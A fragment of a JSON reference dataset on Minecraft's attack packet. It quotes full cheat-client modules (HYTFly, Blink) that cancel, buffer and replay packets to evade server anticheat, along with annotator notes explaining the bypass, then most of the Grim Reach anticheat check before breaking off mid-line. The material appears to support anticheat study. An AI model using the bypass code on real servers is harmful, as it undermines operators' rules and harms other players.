      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/movement/HYTFly.java =====\npackage me.AquaVit.liquidSense.modules.movement;\n\nimport net.ccbluex.liquidbounce.Gui.Notifications.Notificationsn;\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.UpdateEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.features.module.modules.combat.Velocity;\nimport net.ccbluex.liquidbounce.features.module.modules.render.HUD;\nimport net.ccbluex.liquidbounce.utils.ChatUtil;\nimport net.ccbluex.liquidbounce.value.FloatValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport static net.ccbluex.liquidbounce.utils.MovementUtils.isMoving;\nimport static net.ccbluex.liquidbounce.utils.MovementUtils.strafe;\n\n@ModuleInfo(name = \"HYTFly\", description = \"Hyt Fly Bypass:/\", category = ModuleCategory.MOVEMENT)\npublic class HYTFly extends Module {\n    private List<Packet<?>> packets = new ArrayList<>();\n    boolean doAsFly = false;\n    double stage = 0;\n    double timer = 0;\n    double y = 0;\n    boolean jump = false;\n\n    private final FloatValue motionXZ = new FloatValue(\"MotionXZ\", 2.5f, 0f, 10f);\n    private final FloatValue motionY = new FloatValue(\"MotionY\", 1.8f, 0.42f, 6f);\n    private final FloatValue Bob = new FloatValue(\"Bob\",0.5f,0f,2f);\n    private final IntegerValue delay = new IntegerValue(\"Delay\", 2, 0, 10);\n    private final IntegerValue BindSlowSpeed = new IntegerValue(\"BindSlowSpeed\", 7, 1, 10);\n    private final FloatValue DownY = new FloatValue(\"DownY\", 1.25f, 0.42f, 2f);\n    private final FloatValue NormalDownY = new FloatValue(\"NormalDownY\", 0.05f, 0.01f, 2f);\n    Velocity vl = (Velocity)LiquidBounce.moduleManager.getModule(Velocity.class);\n    HUD hd = (HUD)LiquidBounce.moduleManager.getModule(\"HUD\");\n\n    public void move() {\n        mc.thePlayer.cameraYaw = Bob.get();\n        if (mc.thePlayer.posY <= y && !mc.gameSettings.keyBindSneak.isKeyDown()) {\n            mc.thePlayer.motionY = motionY.get();\n        } else {\n            if(mc.gameSettings.keyBindForward.isKeyDown()){\n                double dir = mc.thePlayer.rotationYaw / 180 * Math.PI;\n                if (mc.thePlayer.motionY < 0 && !mc.gameSettings.keyBindSneak.isKeyDown()) mc.thePlayer.motionY = 0 - NormalDownY.get();\n                if (mc.thePlayer.motionY < 0 && mc.gameSettings.keyBindSneak.isKeyDown()) mc.thePlayer.motionY = 0 - DownY.get();\n                mc.thePlayer.motionX = -Math.sin(dir) * motionXZ.get();\n                mc.thePlayer.motionZ = Math.cos(dir) * motionXZ.get();\n            }else{\n                if (mc.thePlayer.motionY < 0 && !mc.gameSettings.keyBindSneak.isKeyDown()) mc.thePlayer.motionY = 0 - NormalDownY.get();\n                if (mc.thePlayer.motionY < 0 && mc.gameSettings.keyBindSneak.isKeyDown()) mc.thePlayer.motionY = 0 - DownY.get();\n            }\n        }\n    }\n\n    @Override\n    public void onEnable() {\n        y = mc.thePlayer.posY;\n        timer = 999;\n        packets.clear();\n        LiquidBounce.moduleManager.getModule(\"Velocity\").setState(false);\n        if(hd.no.get()) {\n            ChatUtil.sendClientMessage(\"Debug Disable Velocity\", Notificationsn.Type.INFO);\n        }\n    }\n\n    @Override\n    public void onDisable() {\n        mc.timer.timerSpeed = 1f;\n        doAsFly = false;\n        packets.clear();\n    }\n\n    @EventTarget\n    public void onUpdate(UpdateEvent event) {\n        if (!doAsFly) timer++;\n        if (timer > delay.get()) {\n            timer = 0;\n            doAsFly = true;\n            stage = 0;\n            move();\n        }\n        if (mc.gameSettings.keyBindJump.isKeyDown()) {\n            mc.timer.timerSpeed = (BindSlowSpeed.get() / 10);\n        }else{\n            mc.timer.timerSpeed = 1f;\n        }\n        if (stage >= 1) {\n            doAsFly = false;\n            if (packets.size() > 0) {\n                for (Packet<?> packet : packets) {\n                    mc.thePlayer.sendQueue.addToSendQueue(packet);\n                    packets.remove(packet);\n                }\n            }\n        }\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        if (!doAsFly) return;\n        final Packet<?> packet = event.getPacket();\n        if (packet instanceof C03PacketPlayer) event.cancelEvent();\n        if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition|| packet instanceof C02PacketUseEntity || packet instanceof C0APacketAnimation || packet instanceof C0BPacketEntityAction || packet instanceof C03PacketPlayer.C06PacketPlayerPosLook || packet instanceof C08PacketPlayerBlockPlacement) {\n            event.cancelEvent();\n            packets.add(packet);\n            stage++;\n        }\n    }\n}\n// NOTE (AI): The HYTFly bypass in full: a timer gates the doAsFly window, motion is driven by direct motionX/motionY/motionZ writes plus timerSpeed, and the packet handler cancels every C03 variant plus C02, C0A, C0B and C08 while the window is open, buffering them for replay at stage 1. The C02 in the cancel list is the corpus hit: an attack during the flight phase is parked with the movement packets and replayed in order when the window closes.",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/movement/HYTFly.java",
      "vanilla_hook": "PacketEvent (cancel + buffer), UpdateEvent (flush).",
      "anti_cheat_notes": "The buffered replay of C02 after a movement gap looks like a delayed attack to the server; the modules are Hypixel-specific and the cancel list is what keeps the flight phase free of stateful packets.",
      "variations": "HYTFly (116 lines) is the representative; HYTHighJump, HYTLongJump and HYTRun use the same cancel-and-buffer list with their own stage thresholds and flush triggers. HYTRun also emits C07 RELEASE_USE_ITEM for its no-slow leg, covered in the C07 writeup."
     },
     {
      "name": "Blink (attack release)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Suspend all movement and interaction packets including C02 while blinking, then release them in order on disable or on the pulse timer.",
      "how_it_works": "The PacketEvent handler cancels C03, C04, C06, C08, C0A, C0B and C02 and pushes them onto a LinkedBlockingQueue; onDisable or the pulse timer drains the queue through NetworkManager.sendPacket. A fake player (entity id -1337) keeps the client-side world consistent while the real position is frozen. The LiquidBounce Fly module's Zoom mode extends this: when blinkAttack is on and the buffered list is at least blinkAttackPacket long, a C02 in the stream triggers an early flush of the whole list plus a C13 ability declaration.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/player/Blink.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.player;\n\nimport net.ccbluex.liquidbounce.LiquidBounce;\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.Render3DEvent;\nimport net.ccbluex.liquidbounce.event.UpdateEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.features.module.modules.render.Breadcrumbs;\nimport net.ccbluex.liquidbounce.utils.render.ColorUtils;\nimport net.ccbluex.liquidbounce.utils.render.RenderUtils;\nimport net.ccbluex.liquidbounce.utils.timer.MSTimer;\nimport net.ccbluex.liquidbounce.value.BoolValue;\nimport net.ccbluex.liquidbounce.value.IntegerValue;\nimport net.minecraft.client.entity.EntityOtherPlayerMP;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\nimport java.awt.*;\nimport java.util.LinkedList;\nimport java.util.concurrent.LinkedBlockingQueue;\n\nimport static org.lwjgl.opengl.GL11.*;\n\n@ModuleInfo(name = \"Blink\", description = \"Suspends all movement packets.\", category = ModuleCategory.PLAYER)\npublic class Blink extends Module {\n\n    private final LinkedBlockingQueue<Packet> packets = new LinkedBlockingQueue<>();\n    private EntityOtherPlayerMP fakePlayer = null;\n    private boolean disableLogger;\n    private final LinkedList<double[]> positions = new LinkedList<>();\n\n    private final BoolValue pulseValue = new BoolValue(\"Pulse\", true);\n    private final IntegerValue pulseDelayValue = new IntegerValue(\"PulseDelay\", 1000, 500, 5000);\n\n    private final MSTimer pulseTimer = new MSTimer();\n\n    public IntegerValue getValue() {\n        return pulseDelayValue;\n    }\n\n    @Override\n    public void onEnable() {\n        if(mc.thePlayer == null)\n            return;\n\n        if (!pulseValue.get()) {\n            fakePlayer = new EntityOtherPlayerMP(mc.theWorld, mc.thePlayer.getGameProfile());\n            fakePlayer.clonePlayer(mc.thePlayer, true);\n            fakePlayer.copyLocationAndAnglesFrom(mc.thePlayer);\n            fakePlayer.rotationYawHead = mc.thePlayer.rotationYawHead;\n            mc.theWorld.addEntityToWorld(-1337, fakePlayer);\n        }\n\n        synchronized(positions) {\n            positions.add(new double[] {mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY + (mc.thePlayer.getEyeHeight() / 2), mc.thePlayer.posZ});\n            positions.add(new double[] {mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY, mc.thePlayer.posZ});\n        }\n\n        pulseTimer.reset();\n    }\n\n    @Override\n    public void onDisable() {\n        if(mc.thePlayer == null)\n            return;\n\n        blink();\n        if (fakePlayer != null) {\n            mc.theWorld.removeEntityFromWorld(fakePlayer.getEntityId());\n            fakePlayer = null;\n        }\n    }\n\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n\n        if (mc.thePlayer == null || disableLogger)\n            return;\n\n        if (packet instanceof C03PacketPlayer) // Cancel all movement stuff\n            event.cancelEvent();\n\n        if (packet instanceof C03PacketPlayer.C04PacketPlayerPosition || packet instanceof C03PacketPlayer.C06PacketPlayerPosLook ||\n                packet instanceof C08PacketPlayerBlockPlacement ||\n                packet instanceof C0APacketAnimation ||\n                packet instanceof C0BPacketEntityAction || packet instanceof C02PacketUseEntity) {\n            event.cancelEvent();\n\n            packets.add(packet);\n        }\n    }\n\n    @EventTarget\n    public void onUpdate(UpdateEvent event) {\n        synchronized(positions) {\n            positions.add(new double[] {mc.thePlayer.posX, mc.thePlayer.getEntityBoundingBox().minY, mc.thePlayer.posZ});\n        }\n\n        if(pulseValue.get() && pulseTimer.hasTimePassed(pulseDelayValue.get())) {\n            blink();\n            pulseTimer.reset();\n        }\n    }\n\n    @EventTarget\n    public void onRender3D(Render3DEvent event) {\n        final Breadcrumbs breadcrumbs = (Breadcrumbs) LiquidBounce.moduleManager.getModule(Breadcrumbs.class);\n        final Color color = breadcrumbs.colorRainbow.get() ? ColorUtils.rainbow() : new Color(breadcrumbs.colorRedValue.get(), breadcrumbs.colorGreenValue.get(), breadcrumbs.colorBlueValue.get());\n\n        synchronized(positions) {\n            glPushMatrix();\n\n            glDisable(GL_TEXTURE_2D);\n            glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA);\n            glEnable(GL_LINE_SMOOTH);\n            glEnable(GL_BLEND);\n            glDisable(GL_DEPTH_TEST);\n            mc.entityRenderer.disableLightmap();\n            glBegin(GL_LINE_STRIP);\n            RenderUtils.glColor(color);\n            final double renderPosX = mc.getRenderManager().viewerPosX;\n            final double renderPosY = mc.getRenderManager().viewerPosY;\n            final double renderPosZ = mc.getRenderManager().viewerPosZ;\n\n            for(final double[] pos : positions)\n                glVertex3d(pos[0] - renderPosX, pos[1] - renderPosY, pos[2] - renderPosZ);\n\n            glColor4d(1, 1, 1, 1);\n            glEnd();\n            glEnable(GL_DEPTH_TEST);\n            glDisable(GL_LINE_SMOOTH);\n            glDisable(GL_BLEND);\n            glEnable(GL_TEXTURE_2D);\n            glPopMatrix();\n        }\n    }\n\n    @Override\n    public String getTag() {\n        return String.valueOf(packets.size());\n    }\n\n    private void blink() {\n        try {\n            disableLogger = true;\n\n            while (!packets.isEmpty()) {\n                mc.getNetHandler().getNetworkManager().sendPacket(packets.take());\n            }\n\n            disableLogger = false;\n        }catch(final Exception e) {\n            e.printStackTrace();\n            disableLogger = false;\n        }\n\n        synchronized(positions) {\n            positions.clear();\n        }\n    }\n}\n// NOTE (AI): The LiquidBounce Blink module in full: C02 is held with the movement and use packets while blinking, the fake player mirrors the real position, and the pulse mode releases the whole queue on a timer. The Fly Zoom mode companion sends a C13 with allowFlying and isFlying true and flushes the buffered list early when blinkAttack is enabled and the queue is long enough, which turns the release into a delayed attack.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/player/Blink.java",
      "vanilla_hook": "PacketEvent (cancel), UpdateEvent (pulse), onDisable (release).",
      "anti_cheat_notes": "Holding C02 inside the blink queue means an attack emitted during the blink lands only after release; the release burst replays packets in order, which keeps the server's event ordering consistent.",
      "variations": "The LiquidBounce Fly module's Zoom mode (960 lines) reuses the same buffer with the blinkAttack early-flush; HYTRun and HYTFly copy the same cancel list for their Hypixel modes."
     }
    ],
    "general_hooks": "The universal hook is the outgoing-packet event (PacketOutEvent, PacketSendEvent, EventSendPacket) matched against C02PacketUseEntity, usually by getAction() == ATTACK. Attack triggers also hang off UpdateEvent/PreMotionEvent (aim and swing) and Rise's dedicated AttackEvent, which Criticals and ComboOneHit consume.",
    "client_variations": "Memeware, Nekoware, Sigma, Spicy and Tenacity queue C02 through mc.thePlayer.sendQueue.addToSendQueue. Rise 5.99 uses PacketUtil.sendPacket (event-routed) or PacketUtil.sendPacketWithoutEvent (bus-bypassing). Rise 6.x uses PacketUtil.send and PacketUtil.sendNoEvent. Sigma and Spicy also have a sendPacketNoEvent path through NetworkManager used by the INTERACT_AT disabler sequences. November Recode 2.0 queues C02 through mc.thePlayer.sendQueue.addToSendQueue and intercepts it on EventPacket.Out; its Lua scripting wrapper maps C02 to id 0x02. LiquidSense Dev cancels and buffers C02 inside PacketEvent handlers (HYTFly family, Blink, Fly Zoom) and replays through addToSendQueue or NetworkManager.sendPacket.",
    "related": [
     "C0APacketAnimation",
     "C03PacketPlayer",
     "C0BPacketEntityAction",
     "C07PacketPlayerDigging"
    ],
    "anticheat": {
     "overview": "Server-side combat anticheats see the use-entity packet as the attack trigger. The 50-cloned-anticheat corpus splits into two families: modern simulation checks (Grim Reach, Kauri Hitbox, Artemis Reach2) that rebuild the client's view of the world and measure the exact attack vector, and classic statistical checks (Frequency KillAura, NCP fight.reach, AutoEye Reach) that score the attack angle, hitbox distance, and packet rhythm. The use-entity packet carries the entity id and action, so every killaura and reach check in the corpus keys off it.",
     "checks": [
      {
       "name": "Reach (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "The reference modern reach check: verifies the attack vector against a simulated copy of the client's world state.",
       "how_it_works": "Listens to the ATTACK packet (WrapperPlayClientAttack) and the INTERACT_ENTITY packet, then computes the distance from the player's interpolated eye position to the entity's exact collision box. Attack range is taken from the held item's attack range attribute, and the threshold is 3.0 + reach attribute with buffer. It cancels impossible hits outright and runs a cancel buffer for 4 hits after a flagged reach attack.",
       "detects": "Reach cheats, killaura with extended range, hitbox-based auras, and any client that fakes attacks from beyond attribute reach.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/combat/Reach.java =====\n// This file was designed and is an original check for GrimAC\n// Copyright (C) 2021 DefineOutside\n//\n// This program is free software: you can redistribute it and/or modify\n// it under the terms of the GNU General Public License as published by\n// the Free Software Foundation, either version 3 of the License, or\n// (at your option) any later version.\n//\n// This program is distributed in the hope that it will be useful,\n// but WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n// GNU General Public License for more details.\n//\n// You should have received a copy of the GNU General Public License\n// along with this program.  If not, see <http://www.gnu.org/licenses/>.\npackage ac.grim.grimac.checks.impl.combat;\n\nimport ac.grim.grimac.api.config.ConfigManager;\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.collisions.datatypes.SimpleCollisionBox;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntity;\nimport ac.grim.grimac.utils.data.packetentity.PacketEntitySizeable;\nimport ac.grim.grimac.utils.data.packetentity.dragon.PacketEntityEnderDragonPart;\nimport ac.grim.grimac.utils.math.Vector3dm;\nimport ac.grim.grimac.utils.nmsutil.ReachUtils;\nimport ac.grim.grimac.utils.viaversion.ViaVersionUtil;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.attribute.Attributes;\nimport com.github.retrooper.packetevents.protocol.component.ComponentTypes;\nimport com.github.retrooper.packetevents.protocol.component.builtin.item.ItemAttackRange;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityType;\nimport com.github.retrooper.packetevents.protocol.entity.type.EntityTypes;\nimport com.github.retrooper.packetevents.protocol.item.ItemStack;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.player.GameMode;\nimport com.github.retrooper.packetevents.protocol.player.InteractionHand;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientAttack;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientInteractEntity;\nimport com.viaversion.viaversion.api.Via;\nimport it.unimi.dsi.fastutil.ints.Int2ObjectMap;\nimport it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap;\nimport org.jetbrains.annotations.NotNull;\n\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\n// You may not copy the check unless you are licensed under GPL\n@CheckData(name = \"Reach\", stableKey = \"grim.combat.reach\", description = \"Attacked an entity from too far away\")\npublic class Reach extends Check implements PacketReceiveListener {\n    private static final Verbose V = Verbose.of(\"{f64:%.5f} blocks, type={entity}\");\n\n    private static final List<EntityType> blacklisted = Arrays.asList(\n            EntityTypes.BOAT,\n            EntityTypes.CHEST_BOAT,\n            EntityTypes.SHULKER);\n    private static final CheckResult NONE = new CheckResult(ResultType.NONE, 0, 0, false);\n    // Only one flag per reach attack, per entity, per tick.\n    // We store position because lastX isn't reliable on teleports.\n    private final Int2ObjectMap<InteractionData> playerAttackQueue = new Int2ObjectOpenHashMap<>();\n    private boolean cancelImpossibleHits;\n    private double threshold;\n    private double cancelBuffer; // For the next 4 hits after using reach, we aggressively cancel reach\n\n    public Reach(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (!player.disableGrim && event.getPacketType() == PacketType.Play.Client.ATTACK) {\n            WrapperPlayClientAttack packet = new WrapperPlayClientAttack(event);\n            onInteract(event, packet.getEntityId(), InteractionHand.MAIN_HAND);\n        }\n\n        if (!player.disableGrim && event.getPacketType() == PacketType.Play.Client.INTERACT_ENTITY) {\n            WrapperPlayClientInteractEntity packet = new WrapperPlayClientInteractEntity(event);\n            onInteract(event, packet.getEntityId(), packet.getAction() == WrapperPlayClientInteractEntity.InteractAction.ATTACK ? InteractionHand.MAIN_HAND : packet.getHand());\n        }\n\n        // If the player set their look, or we know they have a new tick\n        if (isUpdate(event.getPacketType())) {\n            tickBetterReachCheckWithAngle();\n        }\n    }\n\n    private void onInteract(PacketReceiveEvent event, int entityId, InteractionHand hand) {\n        // Don't let the player teleport to bypass reach\n        if (player.getSetbackTeleportUtil().shouldBlockMovement()) {\n            event.setCancelled(true);\n            player.onPacketCancel();\n            return;\n        }\n\n        PacketEntity entity = player.compensatedEntities.entityMap.get(entityId);\n        // Stop people from freezing transactions before an entity spawns to bypass reach\n        // TODO: implement dragon parts?\n        if (entity == null || entity instanceof PacketEntityEnderDragonPart) {\n            // Only cancel if and only if we are tracking this entity\n            // This is because we don't track paintings.\n            if (shouldModifyPackets() && player.compensatedEntities.serverPositionsMap.containsKey(entityId)) {\n                event.setCancelled(true);\n                player.onPacketCancel();\n            }\n            return;\n        }\n\n        // Dead entities cause false flags (https://github.com/GrimAnticheat/Grim/issues/546)\n        if (entity.isDead) return;\n\n        // TODO: Remove when in front of via\n        if (entity.getType() == EntityTypes.ARMOR_STAND && player.getClientVersion().isOlderThan(ClientVersion.V_1_8))\n            return;\n        // Prevents Happy Ghast Reach false on 1.21.6+ servers with ViaBackwards set up\n        if (entity.getType() == EntityTypes.HAPPY_GHAST && player.getClientVersion().isOlderThan(ClientVersion.V_1_21_6))\n            return;\n        if (player.gamemode == GameMode.CREATIVE || player.gamemode == GameMode.SPECTATOR)\n            return;\n        if (player.inVehicle()) return;\n        if (entity.riding != null) return;\n\n        ItemStack currentStack = player.inventory.getItemInHand(hand);\n        ItemStack startStack = player.inventory.getStartOfTickStack();\n\n        boolean hasRange = false;\n        float maxReach = 0f;\n        float hitboxMargin = 0f;\n        Vector3dm attackRangeMovement = null;\n\n        boolean clientAttackRangeExists = player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_21_11);\n        boolean clientAndServerAgrees = clientAttackRangeExists && ATTACK_RANGE_COMPONENT_EXISTS;\n\n        boolean viaVersionAvailable = false;\n        if (USE_1_8_HITBOX_MARGIN && ViaVersionUtil.isAvailable) {\n            viaVersionAvailable = Via.getConfig().getValues().containsKey(\"use-1_8-hitbox-margin\") && Via.getConfig().use1_8HitboxMargin();\n        }\n\n        boolean clientAndViaVersion = clientAttackRangeExists && viaVersionAvailable;\n        if (clientAndServerAgrees || clientAndViaVersion) {\n            ItemAttackRange startRange = startStack.getComponentOr(ComponentTypes.ATTACK_RANGE, null);\n            ItemAttackRange currentRange = currentStack.getComponentOr(ComponentTypes.ATTACK_RANGE, null);\n\n            if (clientAndViaVersion) {\n                if (startStack != ItemStack.EMPTY) {\n                    startRange = new ItemAttackRange(0F, 3F, 0F, 4F, 0.1F, 1F);\n                }\n\n                if (currentStack != ItemStack.EMPTY) {\n                    currentRange = new ItemAttackRange(0F, 3F, 0F, 4F, 0.1F, 1F);\n                }\n            }\n\n            // If the start stack has no range component, the client defaults to vanilla reach behavior,\n            // regardless of what the current stack is (No Range -> X = No Range used).\n            if (startRange != null) {\n                hasRange = true;\n                if (currentRange == null) {\n                    // Range (Start) -> No Range (Current)\n                    // Client logic uses Start Range, including the attack_range movement projection.\n                    if (!clientAndViaVersion) {\n                        attackRangeMovement = player.clientVelocity.clone();\n                    }\n                    maxReach = startRange.getMaxRange();\n                    hitboxMargin = startRange.getHitboxMargin();\n                } else {\n                    // Range (Start) -> Range (Current)\n                    // Client logic requires satisfying BOTH constraints\n                    maxReach = Math.min(startRange.getMaxRange(), currentRange.getMaxRange());\n                    hitboxMargin = Math.min(startRange.getHitboxMargin(), currentRange.getHitboxMargin());\n                }\n            }\n        }\n\n        boolean tooManyAttacks = playerAttackQueue.size() > 10;\n        if (!tooManyAttacks) {\n            playerAttackQueue.put(entityId, new InteractionData(\n                    player.x, player.y, player.z,\n                    hasRange, maxReach, hitboxMargin, attackRangeMovement\n            )); // Queue for next tick for very precise check\n        }\n\n        boolean knownInvalid = attackRangeMovement == null && isKnownInvalid(entity, hasRange, maxReach, hitboxMargin);\n\n        if ((shouldModifyPackets() && cancelImpossibleHits && knownInvalid) || tooManyAttacks) {\n            event.setCancelled(true);\n            player.onPacketCancel();\n        }\n    }\n\n    // This method finds the most optimal point at which the user should be aiming at\n    // and then measures the distance between the player's eyes and this target point\n    //\n    // It will not cancel every invalid attack but should cancel 3.05+ or so in real-time\n    // Let the post look check measure the distance, as it will always return equal or higher\n    // than this method.  If this method flags, the other method WILL flag.\n    //\n    // Meaning that the other check should be the only one that flags.\n    private boolean isKnownInvalid(PacketEntity reachEntity, boolean hasAttackRange, float itemMaxReach, float itemHitboxMargin) {\n        // If the entity doesn't exist, or if it is exempt, or if it is dead\n        if ((blacklisted.contains(reachEntity.getType()) || !reachEntity.isLivingEntity) && reachEntity.getType() != EntityTypes.END_CRYSTAL)\n            return false; // exempt\n\n        if (player.gamemode == GameMode.CREATIVE || player.gamemode == GameMode.SPECTATOR)\n            return false;\n        if (player.inVehicle()) return false;\n\n        // Filter out what we assume to be cheats\n        if (cancelBuffer != 0) {\n            CheckResult result = checkReach(reachEntity, player.x, player.y, player.z, hasAttackRange, itemMaxReach, itemHitboxMargin, null, true);\n            return result.isFlag();\n        } else {\n            SimpleCollisionBox targetBox = getTargetBox(reachEntity);\n\n            double maxReach = applyReachModifiers(targetBox, hasAttackRange, itemMaxReach, itemHitboxMargin, !player.packetStateData.didLastMovementIncludePosition);\n            return ReachUtils.getMinReachToBox(player, targetBox) > maxReach;\n        }\n    }\n\n    private void tickBetterReachCheckWithAngle() {\n        for (Int2ObjectMap.Entry<InteractionData> attack : playerAttackQueue.int2ObjectEntrySet()) {\n            PacketEntity reachEntity = player.compensatedEntities.entityMap.get(attack.getIntKey());\n            if (reachEntity == null) continue;\n\n            InteractionData interactionData = attack.getValue();\n            CheckResult result = checkReach(reachEntity, interactionData.x, interactionData.y, interactionData.z, interactionData.hasAttackRange, interactionData.maxReach, interactionData.hitboxMargin, interactionData.attackRangeMovement, false);\n            switch (result.type()) {\n                case REACH -> flag(\n                        V.write(verbose()).f64(result.minDistance()).uint(reachEntity.getType().getId(player.getClientVersion())),\n                        () -> {\n                            String added = \", type=\" + reachEntity.getType().getName().getKey();\n                            if (reachEntity instanceof PacketEntitySizeable sizeable) {\n                                added += \", size=\" + sizeable.size;\n                            }\n                            return result.verbose() + added;\n                        });\n                case HITBOX -> {\n                    String added = \"type=\" + reachEntity.getType().getName().getKey();\n                    if (reachEntity instanceof PacketEntitySizeable sizeable) {\n                        added += \", size=\" + sizeable.size;\n                    }\n                    player.checkManager.getCheck(Hitboxes.class).flag(result.verbose() + added);\n                }\n            }\n        }\n\n        playerAttackQueue.clear();\n    }\n\n    @NotNull\n    private CheckResult checkReach(PacketEntity reachEntity, double x, double y, double z, boolean hasAttackRange, float itemMaxReach, float itemHitboxMargin, Vector3dm attackRangeMovement, boolean isPrediction) {\n        SimpleCollisionBox targetBox = getTargetBox(reachEntity);\n\n        double movementAllowance = attackRangeMovement == null ? 0 : getAttackRangeMovementAllowance(attackRangeMovement);\n        double maxReach = applyReachModifiers(targetBox, hasAttackRange, itemMaxReach, itemHitboxMargin, !player.packetStateData.didLastLastMovementIncludePosition) + movementAllowance;\n        double minDistance = Double.MAX_VALUE;\n\n        // https://bugs.mojang.com/browse/MC-67665\n        List<Vector3dm> possibleLookDirs = new ArrayList<>(Collections.singletonList(ReachUtils.getLook(player, player.yaw, player.pitch)));\n\n        // If we are a tick behind, we don't know their next look so don't bother doing this\n        if (!isPrediction) {\n            // 1.7 players do not have any of these issues! They are always on the latest look vector\n            if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_8)) {\n                possibleLookDirs.add(ReachUtils.getLook(player, player.lastYaw, player.pitch));\n\n                // 1.9+ players could be a tick behind because we don't get skipped ticks\n                if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9)) {\n                    possibleLookDirs.add(ReachUtils.getLook(player, player.lastYaw, player.lastPitch));\n                }\n            }\n        }\n\n        // +3 would be 3 + 3 = 6, which is the pre-1.20.5 behaviour, preventing \"Missed Hitbox\"\n        final double distance = maxReach + 3;\n\n        final double[] possibleEyeHeights = player.getPossibleEyeHeights();\n        for (Vector3dm lookVec : possibleLookDirs) {\n            lookVec.multiply(distance);\n\n            for (double eye : possibleEyeHeights) {\n                final Vector3d eyePos = new Vector3d(x, y + eye, z);\n                Vector3d endReachPos = eyePos.add(lookVec.getX(), lookVec.getY(), lookVec.getZ());\n\n                Vector3d intercept = ReachUtils.calculateIntercept(targetBox, eyePos, endReachPos).first();\n\n                if (ReachUtils.isVecInside(targetBox, eyePos)) {\n                    minDistance = 0;\n                    break;\n                }\n\n                if (intercept != null) {\n                    minDistance = Math.min(eyePos.distance(intercept), minDistance);\n                }\n            }\n        }\n\n        // if the entity is not exempt and the entity is alive\n        if ((!blacklisted.contains(reachEntity.getType()) && reachEntity.isLivingEntity) || reachEntity.getType() == EntityTypes.END_CRYSTAL) {\n            if (minDistance == Double.MAX_VALUE) {\n                cancelBuffer = 1;\n                return new CheckResult(ResultType.HITBOX, 0, 0, false);\n            } else if (minDistance > maxReach) {\n                cancelBuffer = 1;\n                return new CheckResult(ResultType.REACH, minDistance, movementAllowance, attackRangeMovement != null);\n            } else {\n                cancelBuffer = Math.max(0, cancelBuffer - 0.25);\n            }\n        }\n\n        return NONE;\n    }\n\n    private SimpleCollisionBox getTargetBox(PacketEntity reachEntity) {\n        if (reachEntity.getType() == EntityTypes.END_CRYSTAL) { // Hardcode end crystal box\n            return new SimpleCollisionBox(reachEntity.trackedServerPosition.getPos().subtract(1, 0, 1), reachEntity.trackedServerPosition.getPos().add(1, 2, 1));\n        }\n        return reachEntity.getPossibleCollisionBoxes();\n    }\n\n    private double getAttackRangeMovementAllowance(Vector3dm attackRangeMovement) {\n        if (attackRangeMovement.lengthSquared() == 0) {\n            return 0;\n        }\n\n        return getForwardMovement(attackRangeMovement, player.yaw, player.pitch);\n    }\n\n    private double getForwardMovement(Vector3dm movement, float yaw, float pitch) {\n        return Math.max(0, movement.dot(ReachUtils.getLook(player, yaw, pitch)));\n    }\n\n    private static final boolean 